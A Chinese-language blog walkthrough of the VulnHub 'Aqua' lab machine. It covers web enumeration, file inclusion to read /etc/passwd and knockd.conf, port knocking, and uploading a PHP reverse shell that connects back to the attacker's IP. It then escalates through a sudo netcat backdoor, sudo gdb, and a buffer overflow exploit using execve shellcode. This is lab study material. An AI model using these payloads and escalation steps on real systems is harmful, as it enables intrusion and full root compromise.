Vulnlab_AQUA靶机渗透笔记

Vulnlab_AQUA靶机渗透笔记

靶机下载地址:

https://www.vulnhub.com/entry/aqua-1,419/

该靶机是《为美好的世界献上祝福》动漫的主题靶场,我非常喜欢这个动漫,所以第一时间发现后就下来打打了,让我们一起来攻略它吧!

描述:

难度 : 中级 ~ 困难 有一种方式可以获取低权限用户,有两种方式可以获取 root shell。 使用更简单的方式获得root:使用你拥有的任何东西

以更艰难的方式获取 root 权限:仅使用 /root/ 中的内容

虚拟机 OVA - 虚拟盒子

Linux操作系统

联网

DHCP 服务:已启用

IP地址:自动分配

环境配置

kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)

Bulldog靶机(virtualbox)

kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

主机发现

nmap扫描网段信息

在这里插入图片描述

成功发现靶机ip:192.168.228.24

信息搜集

nmap扫描靶机信息

nmap -sV -O -p- -T4 192.168.228.24

在这里插入图片描述

可以看到靶机开启了80的apache服务,139,445端口是smb服务,21端口是ftp但是显示的是filtered(过滤)。

由于靶机开启了SMB服务,可以用enum4linux进行扫描看看有没有共享目录可以利用

使用enum4linux进行扫描

#安装enum4linux
sudo apt-get install enum4linux

enum4linux -a -o 192.168.228.24

在这里插入图片描述
在这里插入图片描述

没有什么可以利用的信息,但是发现了两个本地用户,aqua(阿库娅)和megumin(惠惠)

尝试浏览器访问web界面:

http://192.168.228.24/

在这里插入图片描述

刚打开web界面的时候快给我笑死了,页面上是一张gif动图,阿库娅的颜艺表情

翻译一下页面中的文字:

帮帮我!我的电脑被Megumin(慧慧)黑了,我失去了对电脑密码的访问权限!如果你帮助我,我会告诉关于惠惠的一切,这样你就可以帮我黑回她。请??…

(我去,慧慧什么时候有这个技能了,爆裂魔法不学学hack是吧,还有阿库娅这脑子学的会这个。。。)

点击中间的Sure,l'll help,帮助阿库娅,跳转到/yes.html,显示如下gif图片和文字,

在这里插入图片描述

翻译文本信息,在页面中得知慧慧的密码日记密码是megumin:watashiwamegumin

这是把把慧慧的密码告诉了和真了吗,看着阿库娅这张脸我真的快蚌埠住了。

点击中间的Nope, I’ll pass,不帮助笨蛋阿库娅,跳转到/no.html页面,显示如下页面

在这里插入图片描述

ok,没有什么有用的信息,还给阿库娅搞自闭了,返回首页

既然没有什么有用的就开始进行目录扫描看看有什么有用的信息

子域名目录爆破

dirsearch -u http://192.168.228.24

在这里插入图片描述

虽然扫描到了一些信息,感觉信息有点不够,换个工具继续扫描

再换个工具gubuster进行扫描,并制定一些参数来发现有没有php和html之内的页面。

gobuster dir -u http://192.168.228.24/ -w /root/桌面/Dict/fuzzDicts-master/subdomainDicts/main.txt -x php,html,txt,bak

在这里插入图片描述

扫描到了一些目录,再使用dirb进行扫描:

dirb http://192.168.228.24 /usr/share/dirb/wordlists/big.txt

dirb发现目录后,自动对目录进行进一步扫描了,但是也咩有什么特别有用的信息,倒是扫到了一些二级目录

/deployment/production/和/meow/images/和/manual/da/和manual/en/等等,不过manual应该是控制页面语言的,应该没有什么有用的这里忽略。
在这里插入图片描述

结合几个工具,排除重复的,扫描到的网页有index.php、home.php、login.php、welcome.php、no.html和yes.html扫描到的目录包括/images、/css、/manual、/deployment和/meow

对/deployment进行进一步扫描

gobuster dir -u http://192.168.228.24/deployment -w /root/桌面/Dict/gobuster字典/subdomains-top100000.txt -x php,html,txt,bak

在这里插入图片描述

可以看到除了/production,还发现了一些php页面,/notes.php,/hello.php

对/meow进行进一步的扫描

gobuster dir -u http://192.168.228.24/meow -w /root/桌面/Dict/gobuster/subdomains-top100000.txt -x php,html,txt,bak

在这里插入图片描述

可以看到除了images文件夹还有/index.php页面。

对/deployment/production目录进一步进行扫描

gobuster dir -u http://192.168.228.24/deployment/production -w /root/桌面/Dict/gobuster/subdomains-top100000.txt -x php,html,txt,bak

在这里插入图片描述

发现还有个meow.txt文件

总结下可能有用的页面,浏览器挨个进行访问:

http://192.168.228.24/login.php
http://192.168.228.24/home.php
http://192.168.228.24/welcome.php
http://192.168.228.24/meow
http://192.168.228.24/meow/images/
http://192.168.228.24/meow/index.php
http://192.168.228.24/deployment/notes.php
http://192.168.228.24/deployment/hello.php
http://192.168.228.24/deployment/production/meow.txt

访问页面

访问:http://192.168.228.24/meow/,发现几张损毁的图片。

http://192.168.228.24/meow/index.php和他一个界面

在这里插入图片描述

访问: http://192.168.228.24/meow/images/发现没有权限

在这里插入图片描述

访问下其他扫到的网页,看一下welcome.php,发现就是比首页页面多了个Meoww,其他没有变化

访问home.php,发现跳转到login.php,在首页看到了慧慧结合标题Megumin Secret Diary(慧慧的秘密日记),下面很大一段字是应该是慧慧放魔法时候吟唱的咒语,翻译一下(太中二了,好羞耻),中间还有用户名和密码的输入框,集合在首页阿库娅给的用户名和密码,可以知道这里应该用得上

比黑色更黑,比黑暗更暗的漆黑,在此寄宿吾真红的金光吧,觉醒之时的到来,荒谬教会的堕落章理,成为无形的扭曲而实现吧,起舞吧,起舞吧,起舞吧,吾之力量本源之愿的崩坏,无人可及的崩坏,将天地万物焚烧殆尽,自深渊降临吧,这就是人类最强威力的攻击手段,这就是,究极攻击魔法,Explosion!

在这里插入图片描述

输入用户名和密码:megumin:watashiwamegumin

(这里密码还有日语音译的彩蛋,watashiwamegumin(我是慧慧),真有意思)

点击Submit成功登录,跳转到/home.php?showcase=index.php

一进来就看看可爱的猫猫,上面还有一大串文字Welcome to my secret lair! Muahahaha…(欢迎来到我的秘密巢穴!木哈哈哈哈哈)

在这里插入图片描述

稍微查看一下,发现全是猫,除此之外没别的了,慧慧这么喜欢猫的吗

在这里插入图片描述

检查网页url这里,猜测可能有文件包含,去掉后面的?showcase=index.php,直接访问home.php,发现显示为空,访问源代码,也没有什么有用的信息

在这里插入图片描述

/deployment/production/目录下存在文件meow.txt,访问看一下,发现了一段字,结合之前的猫猫,应该是一段猫叫。。。

在这里插入图片描述

结合这些信息,可以猜测,前面的几张猫猫图片和之前访问meow页面损毁的应该有联系,应该是猫猫的图片存在meow文件夹下。(因为进一步访问/meow/images显示没权限,这里meow页面损毁的应该是我没权限的原因)

访问http://192.168.228.24/deployment/notes,发现一段慧慧写的文字,大意叫我不要删除

Please do not delete the /var/www/html/deployment/production/ directory  - Megumin the hacker
请不要删除 /var/www/html/deployment/production/ 文件夹  - 慧慧黑过

在这里插入图片描述

访问/deployment/hello.php页面,网页显示为空,源码信息与home.php相同

在这里插入图片描述

漏洞利用

重新在login页面登录跳转到home页面(就是有很多猫猫的那个),看看有没有文件包含漏洞可以利用,使用路径穿越,看看能不能包含/etc/passwd,执行后发现成功读取到了。确定这里有文件包含漏洞存在

在这里插入图片描述

发现文件包含的时候,就要考虑能不能写入一句话木马,一般想要获取webshell是通过包含apache或nginx的日志文件,并通过抓包修改请求写入木马,这里尝试了伪协议,php://input但是失败了。

这里不知道咋办了,网上搜索后得知,之前nmap扫描到的FTP协议有个过滤可以作为突破点。他使用的是Knock技术将端口进行了处理。

1.knockd技术

参考:https://blog.csdn.net/weixin_51339377/article/details/128459954

将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。
它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

port knock(端口敲门)是一种端口过滤技术,通过进行配置对特定的服务进行过滤,访问者可以通过按一定的顺序knock指定的端口来开启被过滤的端口,管理员定义一个端口序列(‌例如:‌7000, 8000, 9000)‌,‌作为敲门序列。‌也可以逆序进行knock重新关闭该端口。

这种技术的优点在于,‌它提供了一种额外的安全层,‌因为只有在正确的端口顺序被“敲门”后,‌目标端口(‌如SSH端口)‌才会对外开放。‌这增加了攻击者通过常规手段直接访问受保护服务的难度,‌从而提高了网络的安全性

而knockd的配置文件,就在/etc/knockd.conf中

通过home页面的文件包含漏洞,将knockd.conf的信息读取下来,可以发现端口knock序列为1234、5678、9012

在这里插入图片描述

逆序进行knock重新开启关闭端口

2.knock开启端口

kali安装knock

sudo apt-get install knock

输入如下命令,使目标主机的FTP端口开启

nc -z 192.168.228.24 1234 5678 9012

再进行nmap扫描目标主机,可以发现此时的ftp端口已经被开启,而且允许匿名登录。

nmap -A -p21 168.228.24

在这里插入图片描述

输入如下使用lftp工具进行匿名登录

sudo apt-get install lftp
lftp 192.168.228.24

在这里插入图片描述

包含是使用的网页,用户应该是www-data,其密码未知,而根据之前包含的/etc/passwd中的信息,megumin用户的家目录就在/var/www/html下,根据之前包含的/etc/passwd中的信息,megumin用户的家目录就在/var/www/html

使用阿库娅给的密码进行登录到慧慧的账户中

user megumin

密码:watashiwamegumin

在这里插入图片描述

查看一下文件信息,发现了hello.php,结合之前在/deployment目录下扫描到的hello.php,这里应该是在网页的/var/www/html/deployment下,这里有写权限。

Getshell

cd到production目录,尝试上传一个文本文件,发现用户megumin对家目录production具有写的权限,准备上传反弹shell

在这里插入图片描述

#构造反弹shell木马,保存至php文件,上传到目标主机目录(下面的脚本Windows和linux通用)

<?php
    system("bash -c 'bash -i >& /dev/tcp/192.168.228.4/8088 0>&1'")
?>

在这里插入图片描述

kali开启nc监听:

nc -lvnp 8088

在这里插入图片描述

浏览器访问反弹shell的php,kali成功反弹webshell

http://192.168.228.24/deployment/production/fantan.php

在这里插入图片描述

发现是www-data用户,需要进行提权操作。

这里也可以使用msf进行反弹的连接

msfconsole
use exploit/multi/handler
set payload linux/x86/shell/reverse_tcp
show options
set lhost 192.168.228.4
set lport 8088
run

在这里插入图片描述

提权

提升到交互式的shell

script /dev/null -c bash
#键盘   CTRL+Z
stty raw -echo; fg
reset xterm
#键盘输入 ENTER

cd到home目录下,ls查看发现有用户aqua,进入Desktop成功发现user.txt。还有两个文件backdoor和sourcecode,看英文意思应该是后门和源码

查看user.txt。发现慧慧的点阵图头像,挺可爱。

在这里插入图片描述

成功拿到user.txt下的flag

404CDD7BC109C432F8CC2443B45BCFE95980F5107215C645236E577929AC3E52

看作者在user文件留下的提示说有两种方法可以提权到root,下面就来尝试下

首先查看下目录下的backdoor文件,发现文件backdoor是以aqua用户执行nc shell的命令

在这里插入图片描述

#!/bin/bash

echo "[+] Backdoor opened! Hehehe..."

runuser -l aqua -c 'nc -lvnp 1337 -e /bin/sh' &>/dev/null

根据之前FTP确认的信息,直接su到megumin

sudo -l发现可以sudo执行aqua家目录下的backdoor命令,应该是慧慧留在阿库娅用户的后门,使用sudo命令执行。提示后门已经开启

 sudo /home/aqua/Desktop/backdoor

在这里插入图片描述

在这里插入图片描述

根据backdoor提示的信息,kali中开启nc监听指向靶机1337端口

nc 192.168.228.24 1337

在这里插入图片描述

进来了,提升至交互型shell

script /dev/null -c bash

在这里插入图片描述

GDB漏洞提权

GDB的安装可以查看如下文章:

https://blog.csdn.net/Bossfrank/article/details/130213456

https://zhuanlan.zhihu.com/p/129837931

这里靶机明显是安装了GDB的,输入gdb可以发现进入了gdb命令行

sudo -l查看,有三条sudo命令可以执行,其中第三条qdb可以进行提权操作

使用sudo gdb -q进入gdb命令行,执行!bash,输入id发现成功提权至root用户

sudo gdb -q
!bash

在这里插入图片描述

进入/root用户目录,cat查看root.txt成功拿到root用户的flag

在这里插入图片描述

顺带还附赠了慧慧的巨型点阵图

在这里插入图片描述

root.txt这里有个提示,作者让解码这条信息

Need some hint on the harder way of getting root? Decode this : RG8gbm90IHVzZSAvdXNyL3NoYXJlL2dkYiBpbiB0aGUgc3Vkb2VycyBmaWxl

#很明显是用base64编码的,解码后得到如下信息:
Do not use /usr/share/gdb in the sudoers file
这句话的意思是不要在 sudoers 文件中使用/usr/share/gdb

在这里插入图片描述

缓冲区溢出漏洞提权

缓冲区溢出漏洞原理参考如下文章:

https://www.freecodecamp.org/chinese/news/buffer-overflow-attacks/

下面来具体利用一下:

因为之前在aqua用户sudo -l可以发现还有其他两个命令,/root/quotes和/root/esp

回到aqua用户那一步

sudo /root/quotes

在这里插入图片描述

让我们输入名字,随便输入一个尝试,输出了一段话,意义不明

sudo /root/quotes migue17

在这里插入图片描述

执行如下命令使用python输出100个A,查看一下是否有错误信息输出,如果有的话就说明有缓冲区溢出漏洞。

sudo /root/quotes $(python3 -c "print('A'*100)")

在这里插入图片描述

结果输出Segmentation fault(分段故障),说明这里有缓冲区溢出漏洞,可以利用它来提权。

这里用到一个调试工具,PEDA是一个用于GDB的Python漏洞开发辅助工具。它提供了许多增强GDB功能的特性,以支持调试和漏洞开发。PEDA是为GDB设计的一个强大的插件,全称是Python Exploit Development Assistance for GDB。

其实就是GDB的插件,源码地址:https://github.com/longld/peda

之前给的文章里也有说明如何安装。(安装这个之前一定要先安装好GDB)

#安装
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

或者
pip install peda

这里输入gdb,进入命令行,说明靶机上安装了gdb,但是输入gdb-peda,发现没有安装peda插件,这里需要在靶机进行安装,这就麻烦了,靶机我是安装到vitualbox上的设置为仅主机模式不能联通外网。

在这里插入图片描述
想到可以在kali上下载安装好gdb后上传至靶机进行安装,但是考虑到靶机的文件有关联性,就没有进行尝试,这里突然想到Desktop下有个叫sourcecode的文件夹,貌似是源码,cd过去后查看,发现是一个download文件,内容指向一个连接地址,浏览器打开后,发现果然是控制上面程序的源码。

在这里插入图片描述

在这里插入图片描述

给他拷贝下来,放到一个文件中改成c格式,kali安装好gdb和相关插件后,在kali上进行调试,这里我的kali机器是安装好了gdb-peda,实际安装过程中踩了不少坑,安装前记得打好快照。

在这里插入图片描述

把下载好的文件进行编译

使用 -g 选项编译,以生成包含调试信息的可执行文件

gcc -g quotes.c -o quotes

启动 gdb 并加载 peda

gdb-peda quotes
#进入gdb命令行后输入如下进入调试界面
set logging enabled on		#启用日志
start

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

这里进行调试的目的就是为了查看在覆盖记录(缓冲区溢出)之前需要多少个字符

peda插件的常用命令:

在 gdb 中使用 peda 提供的各种命令进行调试,例如:

peda_init - 初始化 peda
context - 显示当前程序状态
break - 设置断点
run - 运行程序
step - 单步执行
continue - 继续执行程序
print - 打印变量值
dump - 转储内存区域
hex - 以十六进制格式显示内存
你可以在 gdb 提示符下输入 help 查看更多可用的 peda 命令。

常用 gdb-peda 命令:
context - 显示当前程序状态,包括寄存器、堆栈、反汇编等信息
pattern_create - 生成一个独特的模式字符串,用于检测缓冲区溢出
pattern_search - 在内存中搜索模式字符串,找到缓冲区溢出的位置
vmmap - 显示进程的内存映射
checksec - 检查程序的安全机制,如 NX、RELRO、Canary 等

使用pattern_create写入50个字符串,检测缓冲区溢出
pattern_create 50 pattern

查看
run $(cat pattern)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

通过以上调试可知,我们要把 EIP 传递给程序,需要 44 个字符才能覆盖

执行:pattern offset 0x41414641

成功输出44个

在这里插入图片描述

#使用 info functions命令查看,输出以下内容:

Non-debugging symbols:
0x08048364  _init
0x080483a0  printf@plt
0x080483b0  time@plt
0x080483c0  strcpy@plt
0x080483d0  puts@plt
0x080483e0  exit@plt
0x080483f0  srand@plt
0x08048400  __libc_start_main@plt
0x08048410  rand@plt
0x08048430  _start
0x08048460  __x86.get_pc_thunk.bx
0x08048470  deregister_tm_clones
0x080484a0  register_tm_clones
0x080484e0  __do_global_dtors_aux
0x08048500  frame_dummy
0x0804852b  main
0x080485fc  getname
0x08048630  __libc_csu_init
0x08048690  __libc_csu_fini
0x08048694  _fini
0xb7ff48ed  __x86.get_pc_thunk.si
0xb7ff48f1  __x86.get_pc_thunk.di
0xb7ff48f5  __x86.get_pc_thunk.bp
0xb7ff48f9  __x86.get_pc_thunk.cx
0xb7fdb810  __libc_memalign@plt
0xb7fdb820  malloc@plt
0xb7fdb830  calloc@plt
0xb7fdb840  realloc@plt
0xb7fda730  __vdso_clock_gettime
0xb7fdaa00  __vdso_gettimeofday
0xb7fdab80  __vdso_time
0xb7fdabb4  __kernel_sigreturn
0xb7fdabc0  __kernel_rt_sigreturn
0xb7fdabc8  __kernel_vsyscall
0xb7e206b0  _Unwind_Find_FDE@plt
0xb7e206c0  realloc@plt
0xb7e206e0  memalign@plt
0xb7e20710  _dl_find_dso_for_object@plt
0xb7e20720  calloc@plt
0xb7e20730  ___tls_get_addr@plt
gdb-peda$ 

从上述 Non-debugging symbols 列表中可以看到一些有趣的信息:

函数符号
__main, getname 等是程序中的主要函数。
__libc_start_main@plt, __libc_csu_init, __libc_csu_fini 等是 libc 库中的一些初始化和收尾函数。

外部库函数
__printf@plt, time@plt, strcpy@plt, puts@plt, srand@plt, rand@plt 等是程序调用的一些常见的 libc 库函数。

初始化和终止函数
_init, _start, deregister_tm_clones, register_tm_clones, __do_global_dtors_aux, frame_dummy, _fini 等是程序初始化和终止时调用的一些函数。
其他符号
__x86.get_pc_thunk.* 是一些用于 x86 体系结构下获取程序计数器的辅助函数。
__vdso_* 是 Linux 内核提供的一些系统调用的 vDSO (virtual dynamic shared object) 函数。
___tls_get_addr@plt 是用于获取线程局部存储的函数。

这里虽然是调试出来了,但是不知道,如何在靶机上执行,就先这样吧。

后续

源码文件https://github.com/yunaranyancat/personal_projects/tree/master/project_9

通过下载下来的源码文件可知,可能存在漏洞的地方是在getname方法中,该方法使用了strcpy。如果我们输入的名称长度超过缓冲区的大小,则可能会破坏内存,从而可以利用缓冲区溢出漏洞获取 shell。

在这里插入图片描述

输入lsb_release -a查看靶机环境,制作一个与目标操作系统完全相同的调试虚拟机。目标操作系统正在使用Linux Lite 3.8 32 位

在这里插入图片描述

Linux Lite 3.8 32 位

可以在这里下载进行安装

在这里插入图片描述

https://mirrors.sjtug.sjtu.edu.cn/linuxliteos/isos/3.8/

安装好gdb和相应的插件后,下载源码文件导入创建好的虚拟机进行调试

在这里插入图片描述

以 root 身份下载quotes.cesp.c的源代码,然后使用非 root 用户进行调试。

在这里插入图片描述

在这里插入图片描述

默认情况下,ASLR是启用的。要禁用ASLR,请运行以下命令。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

在这里插入图片描述

在这里插入图片描述

不禁用ASLR的话执行./esp就会显示不同的地址信息。

进行编译:

esp.c : gcc -fno-stack-protector -z execstack -no-pie esp.c -o esp

quotes.c ; gcc -fno-stack-protector -z execstack -no-pie quotes.c -o quotes

#-fno-stack-protector这选项就是把gcc栈保护的措施去除,防止调试过程中爆** stack smashing detected ***: /root/quotes terminated

在这里插入图片描述

不设置-fno-stack-protector就会这样,断在这里,GCC有一种针对缓冲区溢出的保护机制,可通过选项“-fno-stack-protector”来将其关闭。

在这里插入图片描述

然后授予非 root 用户 sudo 权限来执行二进制文件并开始调试。

sudo /root/esp
sudo /root/esp
sudo /root/quotes
sudo /root/quotes hello
sudo /root/quotes $(python -c 'import sys;sys.stdout.write("A"*100)')

在这里插入图片描述

在 gdb 中打开二进制源文件sudo gdb-peda -q /root/quotes

(这里的gdb我是安装后调了的,具体请看安装peda插件的那篇博客)

使用反汇编主程序disas main

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

换个背景色,使用反汇编 getname 函数disas getname,可以看到方法strcpy正在被调用

在这里插入图片描述

尝试缓冲区溢出调试,

运行溢出代码:r $(python -c 'import sys;sys.stdout.write("A"*100)'),它将打印出 100 个 A 并将其解析为程序的名称变量。

在这里插入图片描述

可以看到程序成功覆盖了EIP。我们要找到EIP偏移量,需要使用一组独特的字符串。由于 peda 具有此功能,因此我们可以直接使用它。

通过运行创建一个包含 100 个字符的模式。这会将该模式存储在名为patpattern_create 100 pat的文件中。

在这里插入图片描述

重新运行程序并将模式解析为名称参数。

在这里插入图片描述

在这里插入图片描述

使用peda 中的pattern_search命令。我们将找到 EIP 的偏移量,即44

在这里插入图片描述

编写pyload:

格式:
A*44 + [EIP] + 填充 + shellcode

为了验证偏移量是否正确,我们需要更改缓冲区:
gdb-peda$ r $(python -c 'import sys;sys.Stdout.write(("A"*44) + ("B"*4) + ("\x90"*32) + ("C"*23))')

在这里插入图片描述

为了填充,添加32 个字节的 NOP(无操作操作码),这样它就不会执行任何操作,并继续滑到下一个操作码,直到到达我们的 shellcode。这个技术称之为NOP slides

在这里插入图片描述

如下所示,在执行 EIP 之后**,我们的NOP位于ESP指向的堆栈顶部。根据之前反汇编的getname方法,最后一条指令是**ret。

在这里插入图片描述

如果顺利的话,程序执行retEIP指向的地址内的操作码就会被执行,导致执行shellcode

所以,我们需要将NOPsleds所在的地址放入我们用户控制的EIP中

因此让我们在ret指令处设置一个断点,并查看执行时的堆栈。

在这里插入图片描述

设置断点成功,再次执行之前的payload,成功断到ret的地方

在这里插入图片描述

如图所示,到达了ret的断点,现在,我们可以用 shellcode 替换填充后的 C源代码,shellcode如下

    *****************************************************
    *    Linux/x86 execve /bin/sh shellcode 23 bytes    *
    *****************************************************
    *	  	  Author: Hamza Megahed		        *
    *****************************************************
    *             Twitter: @Hamza_Mega                  *
    *****************************************************
    *     blog: hamza-mega[dot]blogspot[dot]com         *
    *****************************************************
    *   E-mail: hamza[dot]megahed[at]gmail[dot]com      *
    *****************************************************

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

********************************
#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

里可以填充如反弹shell之类的

在这里插入图片描述

使用修改后的有效负载重新运行程序,并在方法末尾放置一个断点getname

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

一旦我们到达断点,运行c即可继续执行。

在这里插入图片描述

现在退出gdb,在 gdb 之外运行二进制文件,并放入我们的shellcode

在这里插入图片描述

在这里插入图片描述

直接获得了root权限,至此但是这是调试机器gdb中的

最难的部分来了,我们调试的gdb机器和目标机器的ESP目前并不完全相同。这意味着我们需要一点一点地修改我们的EIP地址,直到它到达正确的位置。

调试机ESP地址:0xbffffbe0 –> 地址A

调试机EIP地址:0xbffff330 –> 地址I

Aqua 机器 ESP 地址:0xbffffc30 –> 地址 B

Aqua 机器 EIP 地址:? –> 地址 II

在这里插入图片描述

可以看到B > A ,这意味着II > I是可能的

之前的nc反弹shell的kali上运行shellcode

在这里插入图片描述

持续执行,慢慢地将地址 I增加10h

在这里插入图片描述

成功提权。总算成功了,我去,中间踩了无数坑。。。。。。。。。。

总结:

靶机用到kncokd技术,没有提示的情况下这个一时半会难以想到,算是个难点,通过和靶机上的文件包含漏洞结合下载knockd的配置文件得到敲门序列,才能成功开启ftp上传反弹木马,成功获取webshell

还有难点,就是漏洞溢出提权方法,命令溢出漏洞的提权这个在靶机上测试困难。

总之这个靶机没有提示的情况下还是很困难的,不过由于是素晴主题的靶机,多少在打靶过程中增加了趣味感不至于太枯燥。

  • 18
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值